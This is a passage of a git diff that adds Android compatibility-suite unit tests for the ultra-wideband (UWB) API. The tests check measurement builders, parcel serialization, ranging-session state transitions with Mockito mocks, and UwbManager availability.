+import android.os.Parcel;
+import android.uwb.AngleMeasurement;
+import android.uwb.AngleOfArrivalMeasurement;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.SmallTest;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Test of {@link AngleOfArrivalMeasurement}.
+ */
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class AngleOfArrivalMeasurementTest {
+
+    @Test
+    public void testBuilder() {
+        AngleMeasurement azimuth = UwbTestUtils.getAngleMeasurement();
+        AngleMeasurement altitude = UwbTestUtils.getAngleMeasurement();
+
+        AngleOfArrivalMeasurement.Builder builder = new AngleOfArrivalMeasurement.Builder(azimuth);
+        builder.setAltitude(altitude);
+
+        AngleOfArrivalMeasurement measurement = tryBuild(builder, true);
+
+        assertEquals(azimuth, measurement.getAzimuth());
+        assertEquals(altitude, measurement.getAltitude());
+    }
+
+    private AngleOfArrivalMeasurement tryBuild(AngleOfArrivalMeasurement.Builder builder,
+            boolean expectSuccess) {
+        AngleOfArrivalMeasurement measurement = null;
+        try {
+            measurement = builder.build();
+            if (!expectSuccess) {
+                fail("Expected AngleOfArrivalMeasurement.Builder.build() to fail");
+            }
+        } catch (IllegalStateException e) {
+            if (expectSuccess) {
+                fail("Expected AngleOfArrivalMeasurement.Builder.build() to succeed");
+            }
+        }
+        return measurement;
+    }
+
+    @Test
+    public void testParcel() {
+        Parcel parcel = Parcel.obtain();
+        AngleOfArrivalMeasurement measurement = UwbTestUtils.getAngleOfArrivalMeasurement();
+        measurement.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        AngleOfArrivalMeasurement fromParcel =
+                AngleOfArrivalMeasurement.CREATOR.createFromParcel(parcel);
+        assertEquals(measurement, fromParcel);
+    }
+}
diff --git a/tests/uwb/src/android/uwb/cts/DistanceMeasurementTest.java b/tests/uwb/src/android/uwb/cts/DistanceMeasurementTest.java
new file mode 100644
index 0000000..fdebc78
--- /dev/null
+++ b/tests/uwb/src/android/uwb/cts/DistanceMeasurementTest.java
@@ -0,0 +1,88 @@
+/*
+ * Copyright 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.uwb.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.fail;
+
+import android.os.Parcel;
+import android.uwb.DistanceMeasurement;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.SmallTest;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Test of {@link DistanceMeasurement}.
+ */
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class DistanceMeasurementTest {
+    private static final double EPSILON = 0.00000000001;
+
+    @Test
+    public void testBuilder() {
+        double meters = 0.12;
+        double error = 0.54;
+        double confidence = 0.99;
+
+        DistanceMeasurement.Builder builder = new DistanceMeasurement.Builder();
+        tryBuild(builder, false);
+
+        builder.setMeters(meters);
+        tryBuild(builder, false);
+
+        builder.setErrorMeters(error);
+        tryBuild(builder, false);
+
+        builder.setConfidenceLevel(confidence);
+        DistanceMeasurement measurement = tryBuild(builder, true);
+
+        assertEquals(meters, measurement.getMeters(), 0);
+        assertEquals(error, measurement.getErrorMeters(), 0);
+        assertEquals(confidence, measurement.getConfidenceLevel(), 0);
+    }
+
+    private DistanceMeasurement tryBuild(DistanceMeasurement.Builder builder,
+            boolean expectSuccess) {
+        DistanceMeasurement measurement = null;
+        try {
+            measurement = builder.build();
+            if (!expectSuccess) {
+                fail("Expected DistanceMeasurement.Builder.build() to fail");
+            }
+        } catch (IllegalStateException e) {
+            if (expectSuccess) {
+                fail("Expected DistanceMeasurement.Builder.build() to succeed");
+            }
+        }
+        return measurement;
+    }
+
+    @Test
+    public void testParcel() {
+        Parcel parcel = Parcel.obtain();
+        DistanceMeasurement measurement = UwbTestUtils.getDistanceMeasurement();
+        measurement.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        DistanceMeasurement fromParcel =
+                DistanceMeasurement.CREATOR.createFromParcel(parcel);
+        assertEquals(measurement, fromParcel);
+    }
+}
diff --git a/tests/uwb/src/android/uwb/cts/RangingMeasurementTest.java b/tests/uwb/src/android/uwb/cts/RangingMeasurementTest.java
new file mode 100644
index 0000000..d57a636
--- /dev/null
+++ b/tests/uwb/src/android/uwb/cts/RangingMeasurementTest.java
@@ -0,0 +1,99 @@
+/*
+ * Copyright 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.uwb.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.fail;
+
+import android.os.Parcel;
+import android.os.SystemClock;
+import android.uwb.AngleOfArrivalMeasurement;
+import android.uwb.DistanceMeasurement;
+import android.uwb.RangingMeasurement;
+import android.uwb.UwbAddress;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.SmallTest;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Test of {@link RangingMeasurement}.
+ */
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class RangingMeasurementTest {
+
+    @Test
+    public void testBuilder() {
+        int status = RangingMeasurement.RANGING_STATUS_SUCCESS;
+        UwbAddress address = UwbTestUtils.getUwbAddress(false);
+        long time = SystemClock.elapsedRealtimeNanos();
+        AngleOfArrivalMeasurement angleMeasurement = UwbTestUtils.getAngleOfArrivalMeasurement();
+        DistanceMeasurement distanceMeasurement = UwbTestUtils.getDistanceMeasurement();
+
+        RangingMeasurement.Builder builder = new RangingMeasurement.Builder();
+
+        builder.setStatus(status);
+        tryBuild(builder, false);
+
+        builder.setElapsedRealtimeNanos(time);
+        tryBuild(builder, false);
+
+        builder.setAngleOfArrivalMeasurement(angleMeasurement);
+        tryBuild(builder, false);
+
+        builder.setDistanceMeasurement(distanceMeasurement);
+        tryBuild(builder, false);
+
+        builder.setRemoteDeviceAddress(address);
+        RangingMeasurement measurement = tryBuild(builder, true);
+
+        assertEquals(status, measurement.getStatus());
+        assertEquals(address, measurement.getRemoteDeviceAddress());
+        assertEquals(time, measurement.getElapsedRealtimeNanos());
+        assertEquals(angleMeasurement, measurement.getAngleOfArrivalMeasurement());
+        assertEquals(distanceMeasurement, measurement.getDistanceMeasurement());
+    }
+
+    private RangingMeasurement tryBuild(RangingMeasurement.Builder builder,
+            boolean expectSuccess) {
+        RangingMeasurement measurement = null;
+        try {
+            measurement = builder.build();
+            if (!expectSuccess) {
+                fail("Expected RangingMeasurement.Builder.build() to fail");
+            }
+        } catch (IllegalStateException e) {
+            if (expectSuccess) {
+                fail("Expected DistanceMeasurement.Builder.build() to succeed");
+            }
+        }
+        return measurement;
+    }
+
+    @Test
+    public void testParcel() {
+        Parcel parcel = Parcel.obtain();
+        RangingMeasurement measurement = UwbTestUtils.getRangingMeasurement();
+        measurement.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        RangingMeasurement fromParcel = RangingMeasurement.CREATOR.createFromParcel(parcel);
+        assertEquals(measurement, fromParcel);
+    }
+}
diff --git a/tests/uwb/src/android/uwb/cts/RangingReportTest.java b/tests/uwb/src/android/uwb/cts/RangingReportTest.java
new file mode 100644
index 0000000..b2524e7
--- /dev/null
+++ b/tests/uwb/src/android/uwb/cts/RangingReportTest.java
@@ -0,0 +1,92 @@
+/*
+ * Copyright 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.uwb.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.fail;
+
+import android.os.Parcel;
+import android.uwb.RangingMeasurement;
+import android.uwb.RangingReport;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.SmallTest;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.List;
+
+/**
+ * Test of {@link RangingReport}.
+ */
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class RangingReportTest {
+
+    @Test
+    public void testBuilder() {
+        List<RangingMeasurement> measurements = UwbTestUtils.getRangingMeasurements(5);
+
+        RangingReport.Builder builder = new RangingReport.Builder();
+        builder.addMeasurements(measurements);
+        RangingReport report = tryBuild(builder, true);
+        verifyMeasurementsEqual(measurements, report.getMeasurements());
+
+
+        builder = new RangingReport.Builder();
+        for (RangingMeasurement measurement : measurements) {
+            builder.addMeasurement(measurement);
+        }
+        report = tryBuild(builder, true);
+        verifyMeasurementsEqual(measurements, report.getMeasurements());
+    }
+
+    private void verifyMeasurementsEqual(List<RangingMeasurement> expected,
+            List<RangingMeasurement> actual) {
+        assertEquals(expected.size(), actual.size());
+        for (int i = 0; i < expected.size(); i++) {
+            assertEquals(expected.get(i), actual.get(i));
+        }
+    }
+
+    private RangingReport tryBuild(RangingReport.Builder builder,
+            boolean expectSuccess) {
+        RangingReport report = null;
+        try {
+            report = builder.build();
+            if (!expectSuccess) {
+                fail("Expected RangingReport.Builder.build() to fail");
+            }
+        } catch (IllegalStateException e) {
+            if (expectSuccess) {
+                fail("Expected RangingReport.Builder.build() to succeed");
+            }
+        }
+        return report;
+    }
+
+    @Test
+    public void testParcel() {
+        Parcel parcel = Parcel.obtain();
+        RangingReport report = UwbTestUtils.getRangingReports(5);
+        report.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        RangingReport fromParcel = RangingReport.CREATOR.createFromParcel(parcel);
+        assertEquals(report, fromParcel);
+    }
+}
diff --git a/tests/uwb/src/android/uwb/cts/RangingSessionTest.java b/tests/uwb/src/android/uwb/cts/RangingSessionTest.java
new file mode 100644
index 0000000..b936142
--- /dev/null
+++ b/tests/uwb/src/android/uwb/cts/RangingSessionTest.java
@@ -0,0 +1,382 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.uwb.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.mockito.ArgumentMatchers.any;
+import static org.mockito.ArgumentMatchers.anyInt;
+import static org.mockito.ArgumentMatchers.eq;
+import static org.mockito.Mockito.doAnswer;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
+
+import android.os.PersistableBundle;
+import android.os.RemoteException;
+import android.uwb.IUwbAdapter;
+import android.uwb.RangingReport;
+import android.uwb.RangingSession;
+import android.uwb.SessionHandle;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.SmallTest;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.mockito.invocation.InvocationOnMock;
+import org.mockito.stubbing.Answer;
+
+import java.util.concurrent.Executor;
+
+/**
+ * Test of {@link RangingSession}.
+ */
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class RangingSessionTest {
+    private static final Executor EXECUTOR = UwbTestUtils.getExecutor();
+    private static final PersistableBundle PARAMS = new PersistableBundle();
+    private static final @RangingSession.Callback.Reason int REASON =
+            RangingSession.Callback.REASON_GENERIC_ERROR;
+
+    @Test
+    public void testOnRangingOpened_OnOpenSuccessCalled() {
+        SessionHandle handle = new SessionHandle(123);
+        RangingSession.Callback callback = mock(RangingSession.Callback.class);
+        IUwbAdapter adapter = mock(IUwbAdapter.class);
+        RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle);
+        verifyOpenState(session, false);
+
+        session.onRangingOpened();
+        verifyOpenState(session, true);
+
+        // Verify that the onOpenSuccess callback was invoked
+        verify(callback, times(1)).onOpened(eq(session));
+        verify(callback, times(0)).onClosed(anyInt(), any());
+    }
+
+    @Test
+    public void testOnRangingOpened_CannotOpenClosedSession() {
+        SessionHandle handle = new SessionHandle(123);
+        RangingSession.Callback callback = mock(RangingSession.Callback.class);
+        IUwbAdapter adapter = mock(IUwbAdapter.class);
+        RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle);
+
+        session.onRangingOpened();
+        verifyOpenState(session, true);
+        verify(callback, times(1)).onOpened(eq(session));
+        verify(callback, times(0)).onClosed(anyInt(), any());
+
+        session.onRangingClosed(REASON, PARAMS);
+        verifyOpenState(session, false);
+        verify(callback, times(1)).onOpened(eq(session));
+        verify(callback, times(1)).onClosed(anyInt(), any());
+
+        // Now invoke the ranging started callback and ensure the session remains closed
+        session.onRangingOpened();
+        verifyOpenState(session, false);
+        verify(callback, times(1)).onOpened(eq(session));
+        verify(callback, times(1)).onClosed(anyInt(), any());
+    }
+
+    @Test
+    public void testOnRangingClosed_OnClosedCalledWhenSessionNotOpen() {
+        SessionHandle handle = new SessionHandle(123);
+        RangingSession.Callback callback = mock(RangingSession.Callback.class);
+        IUwbAdapter adapter = mock(IUwbAdapter.class);
+        RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle);
+        verifyOpenState(session, false);
+
+        session.onRangingClosed(REASON, PARAMS);
+        verifyOpenState(session, false);
+
+        // Verify that the onOpenSuccess callback was invoked
+        verify(callback, times(0)).onOpened(eq(session));
+        verify(callback, times(1)).onClosed(anyInt(), any());
+    }
+
+    @Test
+    public void testOnRangingClosed_OnClosedCalled() {
+        SessionHandle handle = new SessionHandle(123);
+        RangingSession.Callback callback = mock(RangingSession.Callback.class);
+        IUwbAdapter adapter = mock(IUwbAdapter.class);
+        RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle);
+        session.onRangingStarted(PARAMS);
+        session.onRangingClosed(REASON, PARAMS);
+        verify(callback, times(1)).onClosed(anyInt(), any());
+
+        verifyOpenState(session, false);
+        session.onRangingClosed(REASON, PARAMS);
+        verify(callback, times(2)).onClosed(anyInt(), any());
+    }
+
+    @Test
+    public void testOnRangingResult_OnReportReceivedCalled() {
+        SessionHandle handle = new SessionHandle(123);
+        RangingSession.Callback callback = mock(RangingSession.Callback.class);
+        IUwbAdapter adapter = mock(IUwbAdapter.class);
+        RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle);
+        verifyOpenState(session, false);
+
+        session.onRangingStarted(PARAMS);
+        verifyOpenState(session, true);
+
+        RangingReport report = UwbTestUtils.getRangingReports(1);
+        session.onRangingResult(report);
+        verify(callback, times(1)).onReportReceived(eq(report));
+    }
+
+    @Test
+    public void testStart_CannotStartIfAlreadyStarted() throws RemoteException {
+        SessionHandle handle = new SessionHandle(123);
+        RangingSession.Callback callback = mock(RangingSession.Callback.class);
+        IUwbAdapter adapter = mock(IUwbAdapter.class);
+        RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle);
+        doAnswer(new StartAnswer(session)).when(adapter).startRanging(any(), any());
+        session.onRangingOpened();
+
+        session.start(PARAMS);
+        verify(callback, times(1)).onStarted(any());
+
+        // Calling start again should throw an illegal state
+        verifyThrowIllegalState(() -> session.start(PARAMS));
+        verify(callback, times(1)).onStarted(any());
+    }
+
+    @Test
+    public void testStop_CannotStopIfAlreadyStopped() throws RemoteException {
+        SessionHandle handle = new SessionHandle(123);
+        RangingSession.Callback callback = mock(RangingSession.Callback.class);
+        IUwbAdapter adapter = mock(IUwbAdapter.class);
+        RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle);
+        doAnswer(new StartAnswer(session)).when(adapter).startRanging(any(), any());
+        doAnswer(new StopAnswer(session)).when(adapter).stopRanging(any());
+        session.onRangingOpened();
+        session.start(PARAMS);
+
+        verifyNoThrowIllegalState(session::stop);
+        verify(callback, times(1)).onStopped();
+
+        // Calling stop again should throw an illegal state
+        verifyThrowIllegalState(session::stop);
+        verify(callback, times(1)).onStopped();
+    }
+
+    @Test
+    public void testReconfigure_OnlyWhenOpened() throws RemoteException {
+        SessionHandle handle = new SessionHandle(123);
+        RangingSession.Callback callback = mock(RangingSession.Callback.class);
+        IUwbAdapter adapter = mock(IUwbAdapter.class);
+        RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle);
+        doAnswer(new StartAnswer(session)).when(adapter).startRanging(any(), any());
+        doAnswer(new ReconfigureAnswer(session)).when(adapter).reconfigureRanging(any(), any());
+
+        verifyThrowIllegalState(() -> session.reconfigure(PARAMS));
+        verify(callback, times(0)).onReconfigured(any());
+        verifyOpenState(session, false);
+
+        session.onRangingOpened();
+        verifyNoThrowIllegalState(() -> session.reconfigure(PARAMS));
+        verify(callback, times(1)).onReconfigured(any());
+        verifyOpenState(session, true);
+
+        session.onRangingStarted(PARAMS);
+        verifyNoThrowIllegalState(() -> session.reconfigure(PARAMS));
+        verify(callback, times(2)).onReconfigured(any());
+        verifyOpenState(session, true);
+
+        session.onRangingStopped();
+        verifyNoThrowIllegalState(() -> session.reconfigure(PARAMS));
+        verify(callback, times(3)).onReconfigured(any());
+        verifyOpenState(session, true);
+
+
+        session.onRangingClosed(REASON, PARAMS);
+        verifyThrowIllegalState(() -> session.reconfigure(PARAMS));
+        verify(callback, times(3)).onReconfigured(any());
+        verifyOpenState(session, false);
+    }
+
+    @Test
+    public void testClose_NoCallbackUntilInvoked() throws RemoteException {
+        SessionHandle handle = new SessionHandle(123);
+        RangingSession.Callback callback = mock(RangingSession.Callback.class);
+        IUwbAdapter adapter = mock(IUwbAdapter.class);
+        RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle);
+        session.onRangingOpened();
+
+        // Calling close multiple times should invoke closeRanging until the session receives
+        // the onClosed callback.
+        int totalCallsBeforeOnRangingClosed = 3;
+        for (int i = 1; i <= totalCallsBeforeOnRangingClosed; i++) {
+            session.close();
+            verifyOpenState(session, true);
+            verify(adapter, times(i)).closeRanging(handle);
+            verify(callback, times(0)).onClosed(anyInt(), any());
+        }
+
+        // After onClosed is invoked, then the adapter should no longer be called for each call to
+        // the session's close.
+        final int totalCallsAfterOnRangingClosed = 2;
+        for (int i = 1; i <= totalCallsAfterOnRangingClosed; i++) {
+            session.onRangingClosed(REASON, PARAMS);
+            verifyOpenState(session, false);
+            verify(adapter, times(totalCallsBeforeOnRangingClosed)).closeRanging(handle);
+            verify(callback, times(i)).onClosed(anyInt(), any());
+        }
+    }
+
+    @Test
+    public void testClose_OnClosedCalled() throws RemoteException {
+        SessionHandle handle = new SessionHandle(123);
+        RangingSession.Callback callback = mock(RangingSession.Callback.class);
+        IUwbAdapter adapter = mock(IUwbAdapter.class);
+        RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle);
+        doAnswer(new CloseAnswer(session)).when(adapter).closeRanging(any());
+        session.onRangingOpened();
+
+        session.close();
+        verify(callback, times(1)).onClosed(anyInt(), any());
+    }
+
+    @Test
+    public void testClose_CannotInteractFurther() throws RemoteException {
+        SessionHandle handle = new SessionHandle(123);
+        RangingSession.Callback callback = mock(RangingSession.Callback.class);
+        IUwbAdapter adapter = mock(IUwbAdapter.class);
+        RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle);
+        doAnswer(new CloseAnswer(session)).when(adapter).closeRanging(any());
+        session.close();
+
+        verifyThrowIllegalState(() -> session.start(PARAMS));
+        verifyThrowIllegalState(() -> session.reconfigure(PARAMS));
+        verifyThrowIllegalState(() -> session.stop());
+        verifyNoThrowIllegalState(() -> session.close());
+    }
+
+    @Test
+    public void testOnRangingResult_OnReportReceivedCalledWhenOpen() {
+        SessionHandle handle = new SessionHandle(123);
+        RangingSession.Callback callback = mock(RangingSession.Callback.class);
+        IUwbAdapter adapter = mock(IUwbAdapter.class);
+        RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle);
+
+        assertFalse(session.isOpen());
+        session.onRangingStarted(PARAMS);
+        assertTrue(session.isOpen());
+
+        // Verify that the onReportReceived callback was invoked
+        RangingReport report = UwbTestUtils.getRangingReports(1);
+        session.onRangingResult(report);
+        verify(callback, times(1)).onReportReceived(report);
+    }
+
+    @Test
+    public void testOnRangingResult_OnReportReceivedNotCalledWhenNotOpen() {
+        SessionHandle handle = new SessionHandle(123);
+        RangingSession.Callback callback = mock(RangingSession.Callback.class);
+        IUwbAdapter adapter = mock(IUwbAdapter.class);
+        RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle);
+
+        assertFalse(session.isOpen());
+
+        // Verify that the onReportReceived callback was invoked
+        RangingReport report = UwbTestUtils.getRangingReports(1);
+        session.onRangingResult(report);
+        verify(callback, times(0)).onReportReceived(report);
+    }
+
+    private void verifyOpenState(RangingSession session, boolean expected) {
+        assertEquals(expected, session.isOpen());
+    }
+
+    private void verifyThrowIllegalState(Runnable runnable) {
+        try {
+            runnable.run();
+            fail();
+        } catch (IllegalStateException e) {
+            // Pass
+        }
+    }
+
+    private void verifyNoThrowIllegalState(Runnable runnable) {
+        try {
+            runnable.run();
+        } catch (IllegalStateException e) {
+            fail();
+        }
+    }
+
+    abstract class AdapterAnswer implements Answer {
+        protected RangingSession mSession;
+
+        protected AdapterAnswer(RangingSession session) {
+            mSession = session;
+        }
+    }
+
+    class StartAnswer extends AdapterAnswer {
+        StartAnswer(RangingSession session) {
+            super(session);
+        }
+
+        @Override
+        public Object answer(InvocationOnMock invocation) {
+            mSession.onRangingStarted(PARAMS);
+            return null;
+        }
+    }
+
+    class ReconfigureAnswer extends AdapterAnswer {
+        ReconfigureAnswer(RangingSession session) {
+            super(session);
+        }
+
+        @Override
+        public Object answer(InvocationOnMock invocation) {
+            mSession.onRangingReconfigured(PARAMS);
+            return null;
+        }
+    }
+
+    class StopAnswer extends AdapterAnswer {
+        StopAnswer(RangingSession session) {
+            super(session);
+        }
+
+        @Override
+        public Object answer(InvocationOnMock invocation) {
+            mSession.onRangingStopped();
+            return null;
+        }
+    }
+
+    class CloseAnswer extends AdapterAnswer {
+        CloseAnswer(RangingSession session) {
+            super(session);
+        }
+
+        @Override
+        public Object answer(InvocationOnMock invocation) {
+            mSession.onRangingClosed(REASON, PARAMS);
+            return null;
+        }
+    }
+}
diff --git a/tests/uwb/src/android/uwb/cts/SessionHandleTest.java b/tests/uwb/src/android/uwb/cts/SessionHandleTest.java
new file mode 100644
index 0000000..d52a3e7
--- /dev/null
+++ b/tests/uwb/src/android/uwb/cts/SessionHandleTest.java
@@ -0,0 +1,53 @@
+/*
+ * Copyright 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.uwb.cts;
+
+import static org.junit.Assert.assertEquals;
+
+import android.os.Parcel;
+import android.uwb.SessionHandle;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.SmallTest;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Test of {@link SessionHandle}.
+ */
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class SessionHandleTest {
+
+    @Test
+    public void testBasic() {
+        int handleId = 12;
+        SessionHandle handle = new SessionHandle(handleId);
+        assertEquals(handle.getId(), handleId);
+    }
+
+    @Test
+    public void testParcel() {
+        Parcel parcel = Parcel.obtain();
+        SessionHandle handle = new SessionHandle(10);
+        handle.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        SessionHandle fromParcel = SessionHandle.CREATOR.createFromParcel(parcel);
+        assertEquals(handle, fromParcel);
+    }
+}
diff --git a/tests/uwb/src/android/uwb/cts/UwbAddressTest.java b/tests/uwb/src/android/uwb/cts/UwbAddressTest.java
new file mode 100644
index 0000000..d2f4228
--- /dev/null
+++ b/tests/uwb/src/android/uwb/cts/UwbAddressTest.java
@@ -0,0 +1,80 @@
+/*
+ * Copyright 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.uwb.cts;
+
+import static org.junit.Assert.assertEquals;
+
+import android.os.Parcel;
+import android.uwb.UwbAddress;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.SmallTest;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Test of {@link UwbAddress}.
+ */
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class UwbAddressTest {
+
+    @Test
+    public void testFromBytes_Short() {
+        runFromBytes(UwbAddress.SHORT_ADDRESS_BYTE_LENGTH);
+    }
+
+    @Test
+    public void testFromBytes_Extended() {
+        runFromBytes(UwbAddress.EXTENDED_ADDRESS_BYTE_LENGTH);
+    }
+
+    private void runFromBytes(int len) {
+        byte[] addressBytes = getByteArray(len);
+        UwbAddress address = UwbAddress.fromBytes(addressBytes);
+        assertEquals(address.size(), len);
+        assertEquals(addressBytes, address.toBytes());
+    }
+
+    private byte[] getByteArray(int len) {
+        byte[] res = new byte[len];
+        for (int i = 0; i < len; i++) {
+            res[i] = (byte) i;
+        }
+        return res;
+    }
+
+    @Test
+    public void testParcel_Short() {
+        runParcel(true);
+    }
+
+    @Test
+    public void testParcel_Extended() {
+        runParcel(false);
+    }
+
+    private void runParcel(boolean useShortAddress) {
+        Parcel parcel = Parcel.obtain();
+        UwbAddress address = UwbTestUtils.getUwbAddress(useShortAddress);
+        address.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        UwbAddress fromParcel = UwbAddress.CREATOR.createFromParcel(parcel);
+        assertEquals(address, fromParcel);
+    }
+}
diff --git a/tests/uwb/src/android/uwb/cts/UwbManagerTest.java b/tests/uwb/src/android/uwb/cts/UwbManagerTest.java
new file mode 100644
index 0000000..de1265e
--- /dev/null
+++ b/tests/uwb/src/android/uwb/cts/UwbManagerTest.java
@@ -0,0 +1,50 @@
+/*
+ * Copyright 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.uwb.cts;
+
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+
+import android.content.Context;
+import android.uwb.UwbManager;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.SmallTest;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Test of {@link UwbManager}.
+ */
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class UwbManagerTest {
+
+    public final Context mContext = InstrumentationRegistry.getContext();
+
+    @Test
+    public void testServiceAvailable() {
+        UwbManager manager = mContext.getSystemService(UwbManager.class);
+        if (UwbTestUtils.isUwbSupported(mContext)) {
+            assertNotNull(manager);
+        } else {
+            assertNull(manager);
+        }
+    }
+}
diff --git a/tests/uwb/src/android/uwb/cts/UwbTestUtils.java b/tests/uwb/src/android/uwb/cts/UwbTestUtils.java
new file mode 100644
index 0000000..3790b52
--- /dev/null
+++ b/tests/uwb/src/android/uwb/cts/UwbTestUtils.java
@@ -0,0 +1,113 @@
+/*
+ * Copyright 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.uwb.cts;
+
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.os.SystemClock;
